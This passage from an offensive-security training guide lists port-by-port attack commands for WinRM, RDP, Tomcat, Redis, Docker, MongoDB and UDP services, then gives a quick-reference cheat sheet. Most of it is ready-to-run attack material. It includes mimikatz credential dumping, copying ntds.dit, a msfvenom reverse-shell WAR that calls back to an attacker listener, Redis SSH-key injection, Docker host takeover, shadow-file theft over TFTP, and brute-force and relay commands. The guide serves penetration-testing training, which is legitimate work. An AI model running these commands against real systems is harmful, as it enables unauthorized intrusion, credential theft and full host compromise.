Ports 5985/5986 — WinRM

\$ WinRM Attack Commands

```
# Check if WinRM is accessible
nxc winrm TARGET -u jsmith -p 'Welcome1!'
# [+] = Pwn3d! → evil-winrm access

# evil-winrm — full interactive PowerShell shell
evil-winrm -i TARGET -u Administrator -p 'Admin@123'
evil-winrm -i TARGET -u Administrator -H NTLM_HASH # PTH

# In evil-winrm shell:
*Evil-WinRM* PS> whoami /all
*Evil-WinRM* PS> upload mimikatz.exe C:\Temp\mimi.exe
*Evil-WinRM* PS> download C:\Windows\NTDS\ntds.dit .
*Evil-WinRM* PS> Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'
```



```
root@kali: ~ -- Port 3389 RDP brute + BlueKeep + Port 5985 WinRM shell

└─(root@kali)-[~]
└─# PORT 3389 - RDP: brute force + BlueKeep check
└─# hydra -l Administrator -P rockyou.txt rdp://192.168.10.105 -t 4
[3389][rdp] host: 192.168.10.105 login: Administrator password: Admin@123

└─# Check for BlueKeep CVE-2019-0708
└─# nmap --script rdp-vuln-ms12-020 -p 3389 192.168.10.105
3389/tcp open ms-wbt-server
| rdp-vuln-ms12-020:
| VULNERABLE: MS12-020 Remote Desktop Memory Corruption

└─# Connect via RDP (xfreerdp)
└─# xfreerdp /v:192.168.10.105 /u:Administrator /p:'Admin@123' /cert:ignore
[+] Connecting to 192.168.10.105:3389...
[+] Certificate Warning bypassed
[+] RDP session established - full GUI desktop access

└─# PORT 5985 - WinRM: evil-winrm shell
└─# evil-winrm -i 192.168.10.105 -u Administrator -p 'Admin@123'

Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
corp\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
CORP-WS01

└─(root@kali)-[~]
└─#
```

Figure: RDP brute success, BlueKeep check, xfreerdp connect, evil-winrm shell on port 5985

17 — PORTS 8080/8443: APACHE TOMCAT & ALT HTTP

Default Credentials, WAR Deploy & Manager RCE

Apache Tomcat on ports 8080/8443 is one of the most reliably exploitable services found in enterprise environments. The Tomcat Manager application at /manager/html accepts WAR file uploads — meaning authenticated access to the manager equals instant remote code execution on the underlying OS.

\$ Tomcat Attack Commands

```
# Fingerprint Tomcat version
curl -s http://TARGET:8080/ | grep -i tomcat
nmap --script http-title,http-server-header -p 8080 TARGET

# Check for Tomcat Manager with default credentials
# Common default creds: tomcat:tomcat, admin:admin, tomcat:s3cret
nxc http TARGET -u tomcat -p tomcat --path /manager/html

# Generate malicious WAR payload
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=192.168.10.99 LPORT=4444 -f war -o shell.war

# Deploy WAR via curl (authenticated)
curl -u tomcat:tomcat \
  -T shell.war \
  'http://TARGET:8080/manager/text/deploy?path=/shell'

# Trigger shell
curl http://TARGET:8080/shell/
# → reverse shell caught on nc -lvnp 4444

# Metasploit – Tomcat upload module
use exploit/multi/http/tomcat_mgr_upload
set HttpUsername tomcat
set HttpPassword tomcat
set RHOSTS TARGET
run
```



18 — HIGH-VALUE NON-STANDARD PORTS

Redis, MongoDB, Docker, Jenkins, Elasticsearch & More

Port	Service	Default Issue	Attack Command
2375	Docker	No TLS — unauth daemon	<code>docker -H tcp://TARGET:2375 run -v /mnt alpine</code>
6379	Redis	No auth by default	<code>redis-cli -h TARGET KEYS * / CONFIG SET dir /root/.ssh</code>
8888	Jupyter	No auth token	Visit URL → New Notebook → OS commands via Python
9200	Elasticsearch	No auth — full data access	<code>curl http://TARGET:9200/_cat/indices</code>
27017	MongoDB	No auth — full DB access	<code>mongo TARGET/admin --eval 'db.getUsers()'</code>
4848	GlassFish	Default admin:admin	Deploy WAR via web console
7001	WebLogic	Known RCE CVEs	CVE-2020-14882 — unauthenticated RCE
50000	Jenkins	Old builds no auth	Script console → Groovy RCE
9090	Prometheus	No auth — metrics	<code>curl http://TARGET:9090/api/v1/targets</code>
6443	Kubernetes	Misconfigured RBAC	<code>kubectl --server=https://TARGET:6443 get pods</code>

\$ Non-Standard Port Attack Commands

```
# Redis — no-auth RCE via SSH key injection
redis-cli -h 192.168.10.50
192.168.10.50:6379> CONFIG SET dir /root/.ssh
192.168.10.50:6379> CONFIG SET dbfilename authorized_keys
192.168.10.50:6379> SET key '\n\nssh-rsa AAAA...attacker_pubkey\n\n'
192.168.10.50:6379> BGSAVE
# Now SSH to the server as root using your private key

# Docker — unauth daemon full host takeover
docker -H tcp://192.168.10.60:2375 run -it --rm \
-v /:/mnt alpine chroot /mnt /bin/sh
# Full access to host filesystem as root

# MongoDB — no-auth data dump
mongo 192.168.10.70
> show dbs
> use corp_users
> db.users.find().pretty()
```



19 — UDP PORTS ATTACKERS MUST KNOW

SNMP, DHCP, NTP, TFTP & More

Port	Service	Attack	Impact
53 UDP	DNS	Zone transfer, tunnel, poison	Network map, traffic hijack
67/68 UDP	DHCP	Starvation, rogue server	IP exhaustion, MitM via fake GW
69 UDP	TFTP	No auth read/write	Config theft, firmware upload
111 UDP	RPCbind	NFS export discovery	Mount internal filesystems
123 UDP	NTP	Monlist amplification	DDoS amplification + time skew
137 UDP	NetBIOS-NS	Name resolution spoof	Credential capture via Responder
161 UDP	SNMP	Community brute + MIB dump	Full device config + credentials
162 UDP	SNMP Trap	Intercept device traps	Monitor network events
500 UDP	IKE	VPN fingerprint, aggressive mode	Pre-shared key attack
514 UDP	Syslog	Log injection	Cover tracks, poison logs
1900 UDP	UPnP	SSRF via UPnP NAT traversal	Expose internal services
5353 UDP	mDNS	Multicast DNS poisoning	Redirect .local resolution



\$ UDP Attack Commands

```
# UDP scan – find key UDP services
nmap -sU -p 53,67,69,111,123,161,500,5353 TARGET --open

# SNMP – dump everything with community 'public'
snmpwalk -v2c -c public TARGET .1 # dump all MIBs
snmp-check TARGET -c public # human-readable output

# NTP – check for monlist (amplification)
nmap --script ntp-monlist -p 123 TARGET

# TFTP – attempt file access
tftp TARGET
get /etc/passwd
get /etc/shadow

# mDNS – poison multicast DNS
responder -I eth0 # automatically handles mDNS + NBT-NS + LLMNR
```



20 — PORT DISCOVERY CHEAT SHEET

Every Port, Every Command — Quick Reference

Fast host sweep	<code>nmap -sn 192.168.10.0/24 --min-rate 2000</code>
Full port SYN scan	<code>nmap -sS -p- --min-rate 5000 TARGET -oA full</code>
Version + script scan	<code>nmap -sV -sC -p PORTS TARGET</code>
UDP scan	<code>nmap -sU -p 53,67,161,500 TARGET --open</code>
Port 21 — FTP anon	<code>ftp TARGET (user: anonymous)</code>
Port 21 — FTP brute	<code>hydra -L users.txt -P pass.txt ftp://TARGET</code>
Port 22 — SSH brute	<code>hydra -L users.txt -P rockyou.txt ssh://TARGET -t 4</code>
Port 23 — Telnet sniff	<code>tcpdump -A 'port 23' (MitM needed)</code>
Port 25 — SMTP VRFY	<code>smtp-user-enum -M VRFY -U users.txt -t TARGET</code>
Port 53 — Zone xfr	<code>dig axfr DOMAIN @TARGET</code>
Port 53 — Subdomain	<code>dnsx -d DOMAIN -w subdomains.txt -r TARGET</code>
Port 80 — Dir brute	<code>ffuf -u http://TARGET/FUZZ -w raft-large.txt</code>
Port 80 — SQLi	<code>sqlmap -u 'http://TARGET/search?q=1' --dbs --batch</code>
Port 88 — AS-REP	<code>impacket-GetNPUsers DOMAIN/ -dc-ip DC -usersfile u.txt</code>
Port 88 — Kerberoast	<code>impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC</code>
Port 135/445 — SMB	<code>nxc smb TARGET -u user -p pass --shares</code>
Port 139/445 — relay	<code>impacket-ntlmrelayx -tf targets.txt -smb2support</code>
Port 389 — LDAP	<code>ldapsearch -x -H ldap://TARGET -b 'DC=dom,DC=local'</code>
Port 443 — SSL audit	<code>testssl.sh https://TARGET</code>
Port 445 — EternalBlue	<code>nmap --script smb-vuln-ms17-010 -p 445 TARGET</code>
Port 1433 — MSSQL SA	<code>impacket-mssqlclient sa:PASS@TARGET</code>
Port 1433 — xp_cmd	<code>SQL> enable_xp_cmdshell; xp_cmdshell 'whoami'</code>
Port 3306 — MySQL	<code>mysql -h TARGET -u root -p</code>
Port 3389 — RDP brute	<code>hydra -l admin -P rockyou.txt rdp://TARGET -t 4</code>
Port 3389 — RDP PTH	<code>xfreerdp /v:TARGET /u:admin /pth:HASH /cert:ignore</code>
Port 5985 — WinRM	<code>evil-winrm -i TARGET -u admin -p PASS</code>
Port 5985 — WinRM PTH	<code>evil-winrm -i TARGET -u admin -H NTLM_HASH</code>



Port 6379 — Redis	<code>redis-cli -h TARGET (no auth check)</code>
Port 8080 — Tomcat	<code>curl -u tomcat:tomcat http://TARGET:8080/manager/html</code>
Port 8888 — Jupyter	<code>curl http://TARGET:8888/api/kernels (no auth check)</code>
Port 9200 — Elastic	<code>curl http://TARGET:9200/_cat/indices</code>
Port 27017 — Mongo	<code>mongo TARGET/admin --eval 'db.getUsers()'</code>
Docker unauth	<code>docker -H tcp://TARGET:2375 run -v /:/mnt alpine</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, and built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.